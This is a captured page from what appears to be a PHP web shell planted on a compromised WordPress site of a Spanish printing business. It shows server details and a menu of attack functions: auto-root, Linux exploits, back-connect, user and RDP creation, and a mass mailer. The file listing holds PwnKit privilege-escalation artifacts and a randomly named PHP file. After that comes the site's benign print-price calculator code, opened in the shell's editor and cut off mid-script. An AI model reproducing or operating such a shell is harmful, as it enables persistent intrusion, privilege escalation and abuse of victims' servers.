Linux ip-172-31-23-120.eu-west-1.compute.internal 5.10.245-245.983.amzn2.x86_64 #1 SMP Wed Dec 3 00:02:10 UTC 2025 x86_64
Apache/2.4.65 () OpenSSL/1.0.2k-fips
: 172.31.23.120 | : 64.252.114.129
Cant Read [ /etc/named.conf ]
8.2.29
apache
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
produccion /
laimprentacg.com /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxrwxr--
image
[ DIR ]
drwxr-xr-x
wp-admin
[ DIR ]
drwxrwxr--
wp-content
[ DIR ]
drwxrwxr--
wp-includes
[ DIR ]
drwxrwxr--
.htaccess
248
B
-rwxrwxr--
.mad-root
0
B
-rw-r--r--
11PJcpMFsD8B.php
302.81
KB
-rw-r--r--
calculos_imprenta.php
59.76
KB
-rwxrwxr--
error_log
1
B
-rwxrwxr--
google85ceef8ab00c413a.html
53
B
-rwxrwxr--
html5media.118.min.js
20.08
KB
-rwxrwxr--
index.php
143.87
KB
-r--r--r--
info2040.php
74
B
-rwxrwxr--
licencia.txt
17.51
KB
-rwxrwxr--
license.txt
19.44
KB
-rwxrwxr--
poster.jpg
40.99
KB
-rwxrwxr--
pwnkit
10.99
KB
-rwxr-xr-x
raul.jpeg
108.17
KB
-rw-rw-r--
raul.jpg
108.17
KB
-rw-rw-r--
readme.html
7.23
KB
-rwxrwxr--
robots.txt
33
B
-rwxrwxr--
robots.txt.old
2.53
KB
-rwxrwxr--
sitemap.backup.xml.gz
6.55
KB
-rwxrwxr--
sw.js
61
B
-rw-r--r--
testmail.php
143
B
-rwxrwxr--
video_imprentaCG.mp4
744.6
KB
-rwxrwxr--
video_imprentaCG.webm
1.32
MB
-rwxrwxr--
wp-activate.php
7.2
KB
-rwxrwxr--
wp-blog-header.php
351
B
-rwxrwxr--
wp-comments-post.php
2.27
KB
-rwxrwxr--
wp-config-sample.php
3.26
KB
-rwxrwxr--
wp-config.php
5.17
KB
-rwxrwxr--
wp-cron.php
5.49
KB
-rwxrwxr--
wp-links-opml.php
2.43
KB
-rwxrwxr--
wp-load.php
3.84
KB
-rwxrwxr--
wp-login.php
50.63
KB
-rwxrwxr--
wp-mail.php
8.52
KB
-rwxrwxr--
wp-settings.php
31.88
KB
-rwxrwxr--
wp-signup.php
33.81
KB
-rwxrwxr--
wp-trackback.php
5.09
KB
-rwxrwxr--
wx18u6s9svoxf3xs2ynmorcm24itw3...
30
B
-rw-r--r--
xmlrpc.php
3.13
KB
-rwxrwxr--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calculos_imprenta.php
<?php ?> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <!-- Optional theme --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous"> <!-- Latest compiled and minified JavaScript --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script> </head> <div class="container-fluid"> <div class="col-sm-12"> <h1 style="text-align: center">Catálogos y revistas en rústica</h1> <br> <div class="col-sm-5" style="border:1px solid #ccc"> <!-- cantidad y cantidad por defecto --> <br><br><label>Cantidad:</label> <input name="quantity_wanted" id="quantity_wanted" value="500" size="6" maxlength="6" style="text-align:right" type="text" onchange="calculate_price()"> <!--Paginas y paginas por defecto --> <br><br><label>Páginas:</label> <input name="numofpages" id="numofpages" value="76" size="6" maxlength="6" type="text" style="text-align:right" onchange="calculate_price()"> <sup>*</sup> <span>(múltiplo de 4)</span> <br><br> <label for="product_size"> Tamaño :</label> <select name="product_size" id="product_size" onchange="calculate_price()"> <option value="1">210x297 (A4) </option> <option value="2">297x210 (A4 apaisado)</option> <option value="3" selected="selected">235x330</option> </select> <input id="sheet" value="16" hidden/> <br><br> <label for="inside_color">Tintas interior :</label> <select name="inside_color" id="inside_color" onchange="calculate_price()"> <option value="1">1+1</option> <option value="4" selected="selected">4+4</option> <option value="2">2+2</option> <option value="5">4+4 + barniz</option> <option value="5">5+5</option> </select> <br><br> <label for="cover_color">Tintas portada :</label> <select name="cover_color" id="cover_color" onchange="calculate_price()"> <option value="1_0">1+0</option> <option value="1_1">1+1</option> <option value="4_0">4+0</option> <option value="4_4">4+4</option> <option value="2_0">2+0</option> <option value="2_2">2+2</option> <option value="5_0" selected="selected">4+barniz+0</option> <option value="5_5">4+4+barniz</option> <option value="5_0">5+0</option> <option value="5_5">5+5</option> </select> <br><br> <label for="glasofonado_select">Peliculado en portadas :</label> <select name="glasofonado_select" id="glasofonado_select" onchange="calculate_price()"> <option value="0">No</option> <option value="1">Brillo</option> <option value="2">Mate</option> <option value="3">Seda</option> <option value="4">Antihuellas</option> </select> <br><br> <label for="flap">Solapas :</label> <select name="flap" id="flap" onchange="calculate_price()"> <option value="0" selected="selected">No</option> <option value="1">Sí</option> </select> <br><br> <label for="preview">Muestra previa digital :</label> <select name="preview" id="preview" onchange="calculate_price()"> <option value="0" selected="selected">No</option> <option value="1">Sí</option> </select> <br><br> <label for="finishes"><u>Acabados :</u></label> <br><br> <div class="col-sm-12" style="margin-bottom:20px"> <label for="binding_select">Encuadernación :</label> <select name="binding_select" id="binding_select" onchange="calculate_price()"> <option value="1" selected="selected">Rústica cosida</option> <option value="2">Rústica PUR</option> </select> <br><br> <label for="shrink_wrapping_select">Retractilado :</label> <select name="shrink_wrapping_select" id="shrink_wrapping_select" onchange="calculate_price()"> <option value="0" selected="selected">No</option> <option value="1">Unitario</option> <option value="2">Paquetes</option> </select> <br><br> <label for="varnish_select">Barniz UVI Brillo sectorizado :</label> <select name="varnish_select" id="varnish_select" onchange="calculate_price()"> <option value="0" selected="selected">No</option> <option value="1">Sí</option> </select> <br><br> <label for="stamping_select">Stamping en portada :</label> <select name="stamping_select" id="stamping_select" onchange="calculate_price()"> <option value="0" selected="selected">No</option> <option value="1">Sí</option> </select> <br><br> <label for="dry_blow_select">Golpe en seco en portada :</label> <select name="dry_blow_select" id="dry_blow_select" onchange="calculate_price()"> <option value="0" selected="selected">No</option> <option value="1">Sí</option> </select> </div> <label for="inside_paper_select"><u>Papeles Interior :</u></label> <br><br> <div class="col-sm-12" style="margin-bottom:20px"> <select name="inside_paper_select" id="inside_paper_select"> <option value="0" selected="selected">--</option> <option value="1">Estucado</option> <option value="2">Offset blanco</option> <option value="3">Reciclado</option> <option value="4">Especialidades</option> </select> <div id="inside_type_group"> <select name="estucado_inside_select" id="estucado_inside_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Brillo</option> <option value="2">Mate</option> </select> <select name="offset_inside_select" id="offset_inside_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Standard</option> <option value="2">Igloo</option> </select> <select name="recicled_inside_select" id="recicled_inside_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Cyclus offset</option> <option value="2">Cyclus print</option> </select> <select name="specialities_inside_select" id="specialities_inside_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Gardapat Klassica</option> <option value="2">Gardapat Kiara</option> <option value="3">Munken Lynx</option> <option value="4">Munken Pure</option> <option value="5">X-per</option> </select> </div> <div id="inside_weight_group"> <select name="estucado_bright_inside_select" id="estucado_bright_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="90">90</option> <option value="100">100</option> <option value="115">115</option> <option value="135">135</option> <option value="150">150</option> <option value="170">170</option> </select> <select name="estucado_mate_inside_select" id="estucado_mate_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="90">90</option> <option value="100">100</option> <option value="115">115</option> <option value="135">135</option> <option value="150">150</option> <option value="170">170</option> </select> <select name="offset_standard_inside_select" id="offset_standard_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="80">80</option> <option value="90">90</option> <option value="100">100</option> <option value="120">120</option> <option value="140">140</option> </select> <select name="offset_igloo_inside_select" id="offset_igloo_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="80">80</option> <option value="90">90</option> <option value="100">100</option> <option value="120">120</option> <option value="140">140</option> </select> <select name="recicled_offset_inside_select" id="recicled_offset_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="80" selected="selected">80</option> <option value="90">90</option> <option value="115">115</option> <option value="140">140</option> </select> <select name="recicled_print_inside_select" id="recicled_print_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="90">90</option> <option value="115">115</option> <option value="130">130</option> <option value="150">150</option> <option value="170">170</option> </select> <select name="speciality_gardapat_klasica_inside_select" id="speciality_gardapat_klasica_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="90">90</option> <option value="100">100</option> <option value="115">115</option> <option value="135">135</option> <option value="150">150</option> </select> <select name="speciality_gardapat_kiara_inside_select" id="speciality_gardapat_kiara_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="115">115</option> <option value="135">135</option> <option value="150">150</option> </select> <select name="speciality_munken_lynx_inside_select" id="speciality_munken_lynx_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="100">100</option> <option value="130">130</option> <option value="150">150</option> </select> <select name="speciality_munken_pure_inside_select" id="speciality_munken_pure_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="100">100</option> <option value="12o">120</option> <option value="130">130</option> </select> <select name="speciality_x_per_inside_select" id="speciality_x_per_inside_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="100">100</option> <option value="12o">120</option> <option value="140">140</option> </select> </div> <br><br> </div> <label for="cover_paper_select"><u>Papeles Portadas :</u></label> <br><br> <div class="col-sm-12" style="margin-bottom:20px"> <select name="cover_paper_select" id="cover_paper_select"> <option value="0" selected="selected">--</option> <option value="1">Estucado</option> <option value="2">Offset blanco</option> <option value="3">Reciclado</option> <option value="4">Especialidades</option> <option value="5">Cartulina gráfica</option> </select> <div id="cover_type_group"> <select name="estucado_cover_select" id="estucado_cover_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Brillo</option> <option value="2">Mate</option> </select> <select name="offset_cover_select" id="offset_cover_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Standard</option> <option value="2">Igloo</option> </select> <select name="recicled_cover_select" id="recicled_cover_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Cyclus offset</option> <option value="2">Cyclus print</option> </select> <select name="specialities_cover_select" id="specialities_cover_select" hidden> <option value="0" selected="selected">--</option> <option value="1">Gardapat Klassica</option> <option value="2">Gardapat Kiara</option> <option value="3">Munken Lynx</option> <option value="4">Munken Pure</option> <option value="5">X-per</option> </select> <select name="cartulinas_cover_select" id="cartulinas_cover_select" hidden> <option value="0" selected="selected">--</option> <option value="1">1/c</option> <option value="2">2/c</option> </select> </div> <div id="cover_weight_group"> <select name="estucado_bright_cover_select" id="estucado_bright_cover_select"hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> <option value="300">300</option> <option value="350">350</option> </select> <select name="estucado_mate_cover_select" id="estucado_mate_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> <option value="300">300</option> <option value="350">350</option> </select> <select name="offset_standard_cover_select" id="offset_standard_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> <option value="300">300</option> </select> <select name="offset_igloo_cover_select" id="offset_igloo_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> <option value="300">300</option> </select> <select name="recicled_offset_cover_select" id="recicled_offset_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> <option value="300">300</option> </select> <select name="recicled_print_cover_select" id="recicled_print_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> <option value="300">300</option> </select> <select name="speciality_gardapat_klasica_cover_select" id="speciality_gardapat_klasica_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> </select> <select name="speciality_gardapat_kiara_cover_select" id="speciality_gardapat_kiara_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> </select> <select name="speciality_munken_lynx_cover_select" id="speciality_munken_lynx_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="240">240</option> <option value="300">300</option> </select> <select name="speciality_munken_pure_cover_select" id="speciality_munken_pure_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="240">240</option> <option value="300">300</option> </select> <select name="speciality_x_per_cover_select" id="speciality_x_per_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="250">250</option> <option value="320">320</option> </select> <select name="cartulina_1_c_cover_select" id="cartulina_1_c_cover_select" hidden onchange="calculate_price()"> <option value="0" selected="selected">--</option> <option value="260">260</option> <option value="300">300</option> <option value="330">330</option> </select> <select name="cartulina_2_c_cover_select" id="cartulina_2_c_cover_select" hidden onchange="calculate_price()"l> <option value="0" selected="selected">--</option> <option value="260">260</option> <option value="300">300</option> <option value="350">350</option> </select> </div> <br><br> </div> </div> <div class="col-sm-6 col-sm-offset-1" style="border:1px solid #ccc"> <h3>RESUMEN DE PARTIDAS</h3> <label>Preimpresión: </label> <span id="preprint_cost"></span> <br> <label>Coste CTP: </label> <span id="ctp_cost"></span> <br> <label>Coste Impresión: </label> <span id="print_cost"></span> <br> <label>Papel interior: </label> <span id="inside_paper_cost"></span> <br> <label>Papel portadas: </label> <span id="cover_paper_cost"></span> <br> <label>Encuadernación: </label> <span id="binding_cost"></span> <br> <label>Glasofonado: </label> <span id="glasofonado_cost"></span> <br> <label>Barniz UVI Brillo sectorizado: </label> <span id="varnish_cost"></span> <br> <label>Stamping en portada: </label> <span id="stamping_cost"></span> <br> <label>Golpe en seco en portada: </label> <span id="dry_blow_cost"></span> <br> <label>Retractilado: </label> <span id="shrink_wrapping_cost"></span> <br> <label>Portes: </label> <span id="shipping_cost"></span> <br> <label>Muestra previa digital: </label> <span id="preview_cost"></span> <br> <hr> <label>Total: </label> <span id="total_cost"></span> <br> <label>Porcentaje margen: </label> <input value="10" style="text-align:right" size="2" maxlength="2" id="benefit" onchange="calculate_price()"/> % <br><br> <label style="font-size:20px;">Total Precio Venta: </label> <span id="pvp_cost" style="font-size:20px; color: green;"></span> </div> </div> </div> <script> $(document).ready(function () { inside_paper = null; inside_type = 0; inside_weight = 0; cover_paper = null; cover_type = 0; cover_weight = 0; //PAPELES INTERIOR $("#inside_paper_select").change(function() { var id = $(this).val(); if (id == 1) { inside_paper = "estucado"; $('#estucado_inside_select').show(); $('#offset_inside_select').hide(); $('#recicled_inside_select').hide(); $('#specialities_inside_select').hide(); }else if (id == 2) { inside_paper = "offset"; $('#estucado_inside_select').hide(); $('#offset_inside_select').show(); $('#recicled_inside_select').hide(); $('#specialities_inside_select').hide(); }else if (id == 3) { inside_paper = "recicled"; $('#estucado_inside_select').hide(); $('#offset_inside_select').hide(); $('#recicled_inside_select').show(); $('#specialities_inside_select').hide(); }else if (id == 4) { inside_paper = "specialities"; $('#estucado_inside_select').hide(); $('#offset_inside_select').hide(); $('#recicled_inside_select').hide(); $('#specialities_inside_select').show(); } calculate_price(); }); $("#estucado_inside_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_inside_select').show(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); }else if(id == 2){ $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').show(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); } calculate_price(); }); $("#offset_inside_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').show(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); }else if(id == 2){ $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').show(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); } calculate_price(); }); $("#recicled_inside_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').show(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); }else if (id == 2){ $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').show(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); } calculate_price(); }); $("#specialities_inside_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').show(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); }else if (id == 2){ $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').show(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); }else if (id == 3){ $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').show(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').hide(); }else if (id == 4){ $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').show(); $('#speciality_x_per_inside_select').hide(); }else if (id == 5){ $('#estucado_bright_inside_select').hide(); $('#estucado_mate_inside_select').hide(); $('#offset_standard_inside_select').hide(); $('#offset_igloo_inside_select').hide(); $('#recicled_offset_inside_select').hide(); $('#recicled_print_inside_select').hide(); $('#speciality_gardapat_klasica_inside_select').hide(); $('#speciality_gardapat_kiara_inside_select').hide(); $('#speciality_munken_lynx_inside_select').hide(); $('#speciality_munken_pure_inside_select').hide(); $('#speciality_x_per_inside_select').show(); } calculate_price(); }); //PAPELES PORTADA $("#cover_paper_select").change(function() { var id = $(this).val(); if (id == 1) { cover_paper = "estucado"; $('#estucado_cover_select').show(); $('#offset_cover_select').hide(); $('#recicled_cover_select').hide(); $('#specialities_cover_select').hide(); $('#cartulinas_cover_select').hide(); }else if (id == 2) { cover_paper = "offset"; $('#estucado_cover_select').hide(); $('#offset_cover_select').show(); $('#recicled_cover_select').hide(); $('#specialities_cover_select').hide(); $('#cartulinas_cover_select').hide(); }else if (id == 3) { cover_paper = "recicled"; $('#estucado_cover_select').hide(); $('#offset_cover_select').hide(); $('#recicled_cover_select').show(); $('#specialities_cover_select').hide(); $('#cartulinas_cover_select').hide(); }else if (id == 4) { cover_paper = "specialities"; $('#estucado_cover_select').hide(); $('#offset_cover_select').hide(); $('#recicled_cover_select').hide(); $('#specialities_cover_select').show(); $('#cartulinas_cover_select').hide(); }else if (id == 5) { cover_paper = "cartulinas"; $('#estucado_cover_select').hide(); $('#offset_cover_select').hide(); $('#recicled_cover_select').hide(); $('#specialities_cover_select').hide(); $('#cartulinas_cover_select').show(); } calculate_price(); }); $("#estucado_cover_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_cover_select').show(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 2){ $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').show(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); } calculate_price(); }); $("#offset_cover_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').show(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 2){ $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').show(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); } calculate_price(); }); $("#recicled_cover_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').show(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 2){ $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').show(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); } calculate_price(); }); $("#specialities_cover_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').show(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 2){ $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').show(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 3){ $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').show(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 4){ $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').show(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 5){ $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').show(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').hide(); } calculate_price(); }); $("#cartulinas_cover_select").change(function() { var id = $(this).val(); if (id == 1) { $('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').show(); $('#cartulina_2_c_cover_select').hide(); }else if (id == 2){ 